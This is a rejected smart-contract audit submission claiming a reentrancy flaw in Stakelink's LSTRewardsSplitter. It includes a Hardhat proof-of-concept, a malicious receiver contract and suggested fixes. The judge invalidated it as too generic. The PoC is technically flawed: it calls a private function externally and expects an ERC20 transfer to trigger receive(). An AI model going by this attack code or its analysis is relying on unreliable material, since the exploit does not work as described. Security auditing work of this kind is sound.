Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy in LSTRewardsSplitter.splitRewards Function

zibrasismail

Relevant GitHub Links

https://github.com/Cyfrin/2024-09-stakelink/blob/main/contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol#L172-L188

Summary

The _splitRewards function in LSTRewardsSplitter.sol performs external calls (such as burn and safeTransfer) within a loop before updating the contract's internal state (principalDeposits). This ordering violates the checks-effects-interactions pattern, making the contract susceptible to reentrancy attacks. A malicious fee receiver could exploit this to manipulate the contract's state, potentially draining funds or causing unexpected behavior.

Vulnerability Details

File: contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol:

function _splitRewards(uint256 _rewardsAmount) private {
for (uint256 i = 0; i < fees.length; ++i) {
Fee memory fee = fees[i];
uint256 amount = (_rewardsAmount * fee.basisPoints) / 10000;
​
if (fee.receiver == address(lst)) {
IStakingPool(address(lst)).burn(amount);
} else {
lst.safeTransfer(fee.receiver, amount);
}
}
​
principalDeposits = lst.balanceOf(address(this));
emit RewardsSplit(_rewardsAmount);
}

Issue:- External Calls Before State Update: The function makes external calls (burn and safeTransfer) within a loop before updating the principalDeposits state variable. If any of the fee.receiver addresses are malicious contracts, they can reenter the _splitRewards function during the external call and manipulate the state or perform unauthorized actions.- Lack of Reentrancy Guard: There's no reentrancy protection (such as OpenZeppelin's ReentrancyGuard) applied to this function, increasing the vulnerability risk.

Impact

An attacker controlling one of the fee.receiver addresses could perform the following actions:

Reenter the _splitRewards function to repeatedly call burn or safeTransfer, potentially draining the contract's tokens beyond intended limits. Alter the principalDeposits inaccurately, leading to inconsistent accounting and potential loss of funds. By manipulating the state or consuming excessive gas, the attacker could prevent legitimate operations from executing successfully.

PoC

Below is a Solidity test case using Hardhat and ethers.js that demonstrates a potential reentrancy attack on the _splitRewards function:

import { expect } from 'chai';
import { ethers } from 'hardhat';
import { Contract } from 'ethers';
​
describe('LSTRewardsSplitter Reentrancy Test', function () {
let splitter: Contract;
let maliciousReceiver: Contract;
let owner: any;
let attacker: any;
let lst: Contract;
​
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
​
// Deploy a mock LST token
const LSTMock = await ethers.getContractFactory('ERC677Mock');
lst = await LSTMock.deploy("Mock LST", "mLST");
await lst.deployed();
​
// Deploy the LSTRewardsSplitter
const Splitter = await ethers.getContractFactory('LSTRewardsSplitter');
splitter = await Splitter.deploy(lst.address, [], owner.address);
await splitter.deployed();
​
// Transfer some LST tokens to the splitter
await lst.connect(owner).mint(splitter.address, ethers.utils.parseEther("1000"));
​
// Deploy a malicious receiver
const MaliciousReceiver = await ethers.getContractFactory('MaliciousReceiver');
maliciousReceiver = await MaliciousReceiver.deploy(splitter.address);
await maliciousReceiver.deployed();
​
// Add a malicious fee
await splitter.connect(owner).addFee(maliciousReceiver.address, 100); // 1%
});
​
it('Should prevent reentrancy attack during splitRewards', async function () {
// Attempt to split rewards which triggers reentrancy
await expect(splitter.connect(owner)._splitRewards(ethers.utils.parseEther("100")))
.to.be.revertedWith("ReentrancyGuard: reentrant call");
​
// Check that the principalDeposits remain unchanged
const principal = await splitter.principalDeposits();
expect(principal).to.equal(ethers.utils.parseEther("1000"));
});
});

Supporting Contracts:

ERC677Mock.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
​
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract ERC677Mock is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
}

MaliciousReceiver.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
​
import "./LSTRewardsSplitter.sol";
​
contract MaliciousReceiver {
LSTRewardsSplitter public splitter;
bool public attackInitiated;
​
constructor(address _splitter) {
splitter = LSTRewardsSplitter(_splitter);
}
​
// This function will be called during the safeTransfer
receive() external payable {
if (!attackInitiated) {
attackInitiated = true;
// Reenter the _splitRewards function
splitter._splitRewards(100 ether);
}
}
}

Explanation:

Setup: - A mock ERC677 token (ERC677Mock) is deployed and minted to the LSTRewardsSplitter. - The LSTRewardsSplitter is deployed with an empty fees array. - A malicious receiver (MaliciousReceiver) is deployed and added as a fee receiver with a 1% fee.

Attack Execution: - When _splitRewards is called, it attempts to transfer tokens to the MaliciousReceiver. - The MaliciousReceiver's receive function is triggered during the safeTransfer, which attempts to reenter _splitRewards before the original call finishes.

Expected Outcome: - If the contract lacks reentrancy protection, the attacker could successfully reenter and manipulate the state. - With proper reentrancy guards, the second call to _splitRewards should fail, preventing the attack.

Tools Used

Manual Code Review

Hardhat: For deploying and testing smart contracts.

Recommendations

Implement Reentrancy Guard: - Utilize OpenZeppelin's ReentrancyGuard to protect functions that perform external calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
​
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract LSTRewardsSplitter is Ownable, ReentrancyGuard {
// Existing code...
​
function _splitRewards(uint256 _rewardsAmount) private nonReentrant {
for (uint256 i = 0; i < fees.length; ++i) {
// Existing logic...
}
​
principalDeposits = lst.balanceOf(address(this));
emit RewardsSplit(_rewardsAmount);
}
​
// Existing code...
}

Reorder Operations Following Checks-Effects-Interactions Pattern: - Ensure that all state changes are performed before any external calls. This minimizes the risk of state manipulation during external contract interactions.

function _splitRewards(uint256 _rewardsAmount) private nonReentrant {
// Update state before external calls
principalDeposits = lst.balanceOf(address(this));
​
for (uint256 i = 0; i < fees.length; ++i) {
Fee memory fee = fees[i];
uint256 amount = (_rewardsAmount * fee.basisPoints) / 10000;
​
if (fee.receiver == address(lst)) {
IStakingPool(address(lst)).burn(amount);
} else {
lst.safeTransfer(fee.receiver, amount);
}
}
​
emit RewardsSplit(_rewardsAmount);
}

Validate Fee Receivers: - Restrict fee receivers to trusted addresses or implement additional checks to ensure that a fee receiver cannot perform malicious actions.

function addFee(address _receiver, uint256 _feeBasisPoints) external onlyOwner {
require(_receiver != address(0), "Invalid receiver");
fees.push(Fee(_receiver, _feeBasisPoints));
require(_totalFeesBasisPoints() <= 10000, "Fees exceed limit");
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.